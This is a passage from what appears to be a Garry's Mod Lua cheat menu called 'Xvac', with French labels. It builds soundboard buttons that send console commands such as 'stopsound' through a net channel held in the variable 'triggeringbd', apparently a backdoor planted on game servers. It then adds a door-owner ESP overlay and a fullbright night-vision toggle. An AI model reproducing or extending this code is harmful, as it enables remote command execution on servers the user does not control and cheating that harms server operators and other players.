9887soundboardmusicScrollPanel:InnerWidth(100)
9888local sbar = soundboardmusicScrollPanel:GetVBar()
9889function soundboardmusicScrollPanel:Paint( w, h )
9890 draw.RoundedBox( 3, 0, 0, w, h , Color(0,0,0,0))
9891end
9892function sbar:Paint( w, h )
9893 draw.RoundedBox( 0, 4, 0, w, h, Color( 0, 0, 0, 100 ) )
9894end
9895function sbar.btnUp:Paint( w, h )
9896 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9897end
9898function sbar.btnDown:Paint( w, h )
9899 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9900end
9901function sbar.btnGrip:Paint( w, h )
9902 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9903end
9904
9905function AddSong(id, text, desc, func)
9906local msbd = vgui.Create( "DButton", soundboardmusicScrollPanel )
9907msbd:SetText( text )
9908msbd:SetTextColor( Color( 200, 200, 200, 220 ) )
9909msbd:SetFont("Roboto")
9910msbd:Dock( TOP )
9911msbd:DockMargin( 10, 45, 40, -37 )
9912msbd:DockPadding( 2, 30, 20, 10 )
9913msbd.DoClick = func
9914if desc then
9915msbd:SetToolTip( desc )
9916end
9917msbd.Paint = function( self, w, h )
9918msbd.OnCursorEntered = function(self)
9919-- surface.PlaySound( "garrysmod/ui_hover.wav" )
9920surface.PlaySound( "buttons/button15.wav" )
9921end
9922if msbd:IsHovered() then
9923-- draw.SimpleText( desc, "Calibri-sm", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT) -- Only Citizen Hack Lua Loader
9924draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30, 245))
9925else
9926draw.RoundedBox( 0, 0, 0, w, h, Color(10, 10, 10, 245))
9927end
9928surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
9929surface.DrawOutlinedRect( 0, 0, w, h )
9930end
9931end
9932
9933AddSong( "1","Stop Musique", "Stop Une Musique Directement", function()
9934surface.PlaySound("buttons/lever3.wav")
9935net.Start(""..triggeringbd.."")
9936net.WriteString("RunConsoleCommand \"stopsound\"")
9937net.WriteBit(1)
9938net.SendToServer()
9939end )
9940
9941
9942
9943
9944
9945
9946
9947
9948
9949
9950
9951
9952
9953/*===================================
9954|===== Xvac SOUNDBOARD =====|
9955===================================*/
9956
9957
9958local soundboardpanel = vgui.Create( "DScrollPanel", sdbbd )
9959soundboardpanel:Dock( FILL )
9960soundboardpanel:InnerWidth(100)
9961local sbar = soundboardpanel:GetVBar()
9962function soundboardpanel:Paint( w, h )
9963 draw.RoundedBox( 3, 0, 0, w, h , Color(0,0,0,0))
9964end
9965function sbar:Paint( w, h )
9966 draw.RoundedBox( 0, 4, 0, w, h, Color( 0, 0, 0, 100 ) )
9967end
9968function sbar.btnUp:Paint( w, h )
9969 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9970end
9971function sbar.btnDown:Paint( w, h )
9972 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9973end
9974function sbar.btnGrip:Paint( w, h )
9975 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9976end
9977
9978function AddSB(id, text, desc, func)
9979local sbbd = vgui.Create( "DButton", soundboardpanel )
9980sbbd:SetText( text )
9981sbbd:SetTextColor( Color( 200, 200, 200, 220 ) )
9982sbbd:SetFont("Roboto")
9983sbbd:Dock( TOP )
9984sbbd:DockMargin( 10, 45, 40, -37 )
9985sbbd:DockPadding( 2, 30, 20, 10 )
9986sbbd.DoClick = func
9987if desc then
9988sbbd:SetToolTip( desc )
9989end
9990sbbd.Paint = function( self, w, h )
9991sbbd.OnCursorEntered = function(self)
9992-- surface.PlaySound( "garrysmod/ui_hover.wav" )
9993surface.PlaySound( "buttons/button15.wav" )
9994end
9995if sbbd:IsHovered() then
9996-- draw.SimpleText( desc, "Calibri-sm", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT) -- Only Citizen Hack Lua Loader
9997draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30, 245))
9998else
9999draw.RoundedBox( 0, 0, 0, w, h, Color(10, 10, 10, 245))
10000end
10001surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
10002surface.DrawOutlinedRect( 0, 0, w, h )
10003end
10004end
10005
10006AddSB( "1","Stop Soundboard", "Stop directement un soundboard", function()
10007surface.PlaySound("buttons/lever3.wav")
10008net.Start(""..triggeringbd.."")
10009net.WriteString("RunConsoleCommand \"stopsound\"")
10010net.WriteBit(1)
10011net.SendToServer()
10012end )
10013
10014end)
10015
10016
10017
10018
10019/*====================================
10020|===== Xvac AUTRES TRUCS =====|
10021=====================================*/
10022
10023
10024
10025
10026
10027
10028concommand.Add("show_door", function()
10029
10030hook.Add("HUDPaint" , "DoorFind" , function ()
10031
10032 for k,v in pairs (ents.GetAll()) do
10033
10034 if IsValid(v) and v:getDoorOwner() then
10035
10036 local pos = v:GetPos():ToScreen()
10037
10038 local distance = math.floor(LocalPlayer():GetPos():Distance(v:GetPos()) / 25)
10039
10040 draw.DrawText(distance.."m", "ChatFont", pos.x, pos.y - 10,Color(255, 255, 255, 255),1)
10041
10042 draw.DrawText("Propriétaire - "..v:getDoorOwner():Nick(), "TargetIDSmall", pos.x + 1, pos.y - 30,Color(255, 255, 255, 255),1)
10043
10044 surface.SetDrawColor(255,255,255,255)
10045
10046 surface.SetMaterial(Material( "icon16/door.png" ))
10047
10048 surface.DrawTexturedRect(pos.x-10, pos.y-50, 16,16)
10049
10050 end
10051
10052 end
10053
10054end)
10055
10056end)
10057
10058concommand.Add("hide_door", function()
10059hook.Remove("HUDPaint" , "DoorFind")
10060end)
10061
10062local On = false
10063 local Glow
10064 function Night( on )
10065
10066 function think()
10067 for k,v in pairs(ents.GetAll()) do
10068 local sep = string.Explode("_",v:GetClass())
10069 if sep[1] == "npc" or v:GetClass() == "player" then
10070 if Glow then
10071 v:SetMaterial("models/weapons/v_slam/new light1") end
10072 end
10073 if (sep[1] == "npc" or v:GetClass() == "player") and !on then
10074 v:SetMaterial("") end
10075 end
10076 end
10077 hook.Add("Think","ehyuj",think)
10078 local mul
10079 if on then mul = 1 On = true else mul = 0 On = false end
10080 if on then
10081 surface.PlaySound( "items/nvg_on.wav" ) else
10082 surface.PlaySound( "items/nvg_off.wav" ) end
10083
10084 local function ArghItBurns()
10085 DrawBloom( 0, 1, 1, 0, 0, 1, .5*mul, 2.5*mul, .5*mul )
10086 end
10087 hook.Add( "RenderScreenspaceEffects", "NoMoreEyesForYou!", ArghItBurns )
10088
10089 local function PUMPPPTEST()
10090
10091 local tab = {}
10092 tab[ "$pp_colour_addr" ] = 0
10093 tab[ "$pp_colour_addg" ] = 0
10094 tab[ "$pp_colour_addb" ] = 0
10095 tab[ "$pp_colour_brightness" ] = -0.5*mul
10096 tab[ "$pp_colour_contrast" ] = 1-.5*mul
10097 tab[ "$pp_colour_colour" ] = 1
10098 tab[ "$pp_colour_mulr" ] = 0
10099 tab[ "$pp_colour_mulg" ] = 0
10100 tab[ "$pp_colour_mulb" ] = 0
10101
10102 DrawColorModify( tab )
10103 end
10104 hook.Add( "RenderScreenspaceEffects", "RenderColorModifyPOO", PUMPPPTEST )
10105 end
10106
10107 function TogNight()
10108 local ply = LocalPlayer()
10109 if On == true then
10110 On = false
10111 ply:ConCommand("mat_fullbright 0")
10112 elseif On == false then
10113 On = true
10114 ply:ConCommand("mat_fullbright 1")
10115 end
10116 Night( On )
10117 end
10118 concommand.Add( "dark", TogNight )